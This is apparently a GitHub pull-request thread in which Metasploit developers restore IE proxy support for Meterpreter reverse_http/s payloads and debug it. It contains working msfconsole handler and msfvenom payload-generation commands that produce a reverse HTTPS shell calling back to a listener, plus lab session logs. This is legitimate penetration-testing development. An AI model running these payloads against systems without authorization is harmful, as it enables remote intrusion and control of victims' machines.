Utilise IE configuration for proxies where possible

OJ commented 9 years ago

Note: This PR requires https://github.com/rapid7/metasploit-framework/pull/5300 on the MSF side to function.

After the WinHTTP work we did recently the automatic proxy support inside Meterpreter effectively stopped working. This meant that those people who used reverse_http/s payloads would get an initial connection back to MSF but from there the shell would be dead.

The reason was that WinHTTP doesn't adopt the default configuration for the current user like the WinInet API does. What was required was more work to query the IE settings and implement them separately.

This PR adds the default proxy support back to Meterpreter so that any system configuration for the user is applied in the way that it used to be. This doesn't add support for proxies that require manual authentication, but we didn't have that for WinInet either.

Once this has been verified and landed, I'll port these changes to the reverse_winhttp/s stagers as well.

Verification

[x] Make sure that payloads without proxy configurations still work.
[x] Make sure that payloads with manual proxy configurations still work (ie. set the PayloadProxyHost, PayloadProxyUser ... etc).
[x] Make sure that payloads without manual proxy configurations utilise the proxy configuration that it set up on the target IE configuration, if there is one.
[x] Make sure that payloads that are configured with manual proxy settings utilise those settings instead of the ones set by the IE configuration.

Ping @Meatballs1 for help with verifying that this works please!

metasploit-public-bot commented 9 years ago

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/196/ Test PASSED.

Meatballs1 commented 9 years ago

I am on the latest msf commit 9549d572cc77175d675da120248f34892ad6acd3. Updated gems.

Built this branch, copied metsrv.x86.dll and stdapi.x86.dll to data/meterpreter/.

Using payload/windows/meterpreter/reverse_https

But get the following error:

Meterpreter session 1 is not valid and will be closed.
172.16.90.1 - Meterpreter session 1 closed.
Exception handling request: Bad file descriptor

OJ commented 9 years ago

Dammit. Thanks for testing. Is it an auto proxy with a config url?

Meatballs1 commented 9 years ago

No, AUto detect unticked. Auto config script unticked. Use a proxy server for LAN Ticked. Use the same proxy for all protocols ticked

OJ commented 9 years ago

Thanks. I'll set that up and get back to you.

Meatballs1 commented 9 years ago

But, I don't see any SYN_SENT to the listener IP like I did before at least?

Meatballs1 commented 9 years ago

Doesn't look like its working with the PayloadProxyHost and PayloadProxyPort manually set now either?

OJ commented 9 years ago

That doesn't sound right, as that was the use case I was testing myself! If PayloadProxyHost is set manually it overrides any system configuration found. Be sure to set PayloadProxyType as well.

I'll be validating this again today, in my testing I had set the proxy across the board, and not manually set it for http and then clicked the 'apply to all protocols' option.

Meatballs1 commented 9 years ago

When I deleted the DLLs PayloadProxyHost settings worked...

OJ commented 9 years ago

So with this branch, I can get a session like so:

msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] 10.1.10.40:39412 (UUID: e8b4f19c8ae95d50/x86=1/windows=1/2015-05-13T05:40:04Z) Staging Native payload ...
[*] Meterpreter session 2 opened (10.1.10.40:8443 -> 10.1.10.40:39412) at 2015-05-14 10:11:28 +1000

meterpreter > sysinfo
Computer        : WIN-8RDFKU33NLH
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter     : x86/win32

Listener is on 10.1.10.40, diff subnet to victim, who's IP config is:

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::c4d5:3a3a:33c:1e7d%3
   IPv4 Address. . . . . . . . . . . : 192.168.0.129
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Proxy settings look like this:

Proxy settings

msfconsole was started with this:

./msfconsole -x 'use multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 10.1.10.40; set LPORT 8443; run'

So there's no proxy set in the stager/payload, but it's picked up from behind the scenes via IE's configuration. The session works fine. The debug log shows it too:

[3528] [c28] [PROXY] Got IE configuration 
[3528] [c28] [PROXY] IE config set to proxy 192.168.0.1:3128 with bypass <local>

@Meatballs1 is this scenario similar to yours?

OJ commented 9 years ago

If I generate a payload like so:

./msfvenom -p windows/meterpreter/reverse_https LHOST=10.1.10.40 LPORT=8443 PayloadProxyType=HTTP PayloadProxyHost=192.168.0.1 PayloadProxyPort=3128 -f exe -o ~/scratch/a.exe

I can remove the proxy configuration from IE (so that there's no proxy at all, and IE now fails to load anything), run the payload and still get a valid session:

payload => windows/meterpreter/reverse_https
LHOST => 10.1.10.40
LPORT => 8443
PayloadProxyHost => 192.168.0.1
PayloadProxyPort => 3128
[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
[*] 10.1.10.40:39739 (UUID: d07ee6804a13262c/x86=1/windows=1/2015-05-14T00:31:33Z) Staging Native payload ...
[*] Meterpreter session 1 opened (10.1.10.40:8443 -> 10.1.10.40:39739) at 2015-05-14 10:34:58 +1000

meterpreter > sysinfo
Computer        : WIN-8RDFKU33NLH
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_GB
Meterpreter     : x86/win32

Debug log confirms:

[1848] [990] [DISPATCH] Configuring with proxy: http://192.168.0.1:3128

Something is definitely different between you and I @Meatballs1, any help understanding what that is would be appreciated mate.

hdm commented 9 years ago

Seeing an immediate crash with binaries built from this PR with metasploit-framework at master. Using reverse_tcp for my first test. Dies on both Windows 8.1 and Wine

hdm commented 9 years ago

Same crash with https transport (stager connects, metsrv crashes).

hdm commented 9 years ago

[17e8] [SERVER] Initializing from configuration: 0x0018FF60
[17e8] [SESSION] Comms Fd: 1638240
[17e8] 
[17e8] [SESSION] Expiry: 13184
[17e8] [SERVER] module loaded at 0x02A80000
[17e8] [SERVER] main server thread: handle=0x00000320 id=0x000017E8 sigterm=0x002F3FC8
[17e8] [REMOTE] remote created 00268EB8
[17e8] [DISPATCH] Session going for 13184 seconds from 1431576029 to 1431589213
(dcc.17e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=002675b0 ecx=00000002 edx=00000000 esi=0018ff60 edi=00268eb8
eip=02a81f25 esp=0018fca4 ebp=0018fed0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
02a81f25 833800          cmp     dword ptr [eax],0    ds:002b:00000000=????????

hdm commented 9 years ago

Ah, this seems to require metasploit-framework @ PR #5300 to work properly. Using this PR branch of framework results in working sessions (no proxy settings).

hdm commented 9 years ago

@Meatballs1 What framework revision were you testing from?

OJ commented 9 years ago

I apologise, I failed to mention that https://github.com/rapid7/metasploit-framework/pull/5300 is required on the MSF side.

Very sorry :disappointed:

OJ commented 9 years ago

And @bcook-r7 just merged the MSF PR into master, so if you work off master now you should be good.

Meatballs1 commented 9 years ago

Yes, just rebased on the latest master and it now works fine in my proxied & firewalled environment.

\o/

OJ commented 9 years ago

Woooohoooooo!

Thank you sir.

Meatballs1 commented 9 years ago

I have done the following tests (on x86 reverse_https only):

[x] User manual IE configuration automatically detected
[x] MSF configured PayloadProxyHost/Port
[x] MSF configured with wrong PayloadProxyPort (Expecting this not to work - only way I can quickly verify these take precedence over automatic settings)

I haven't got 'Automatically detect settings' set up etc.

OJ commented 9 years ago

I don't have the auto settings thing set up either, it'd be great to find someone who has access to something "real" rather than me trying to get something working locally.

hdm commented 9 years ago

An easy way to do this is using Responder.py. I can tackle this later if you like.

OJ commented 9 years ago

That's a good idea!

bcook-r7 commented 9 years ago

Manual and no proxy configurations worked OK for me.

bcook-r7 commented 9 years ago

Override (local stager setting overrides Internet settings proxy configuration) worked as expected as well.

Is there anything special from WinHTTP's point of view that would make automatic proxy settings work any differently than a manually-set proxy? I'm inclined to land this, since I don't think there would be a difference.

OJ commented 9 years ago

I honestly don't think so. The implementation can't be any worse than it is in master right now 😨

bcook-r7 commented 9 years ago

Roger, landing.

OJ commented 9 years ago

Thanks mate. I'll add this to the stager soon.

rapid7 / meterpreter

Utilise IE configuration for proxies where possible #159

Verification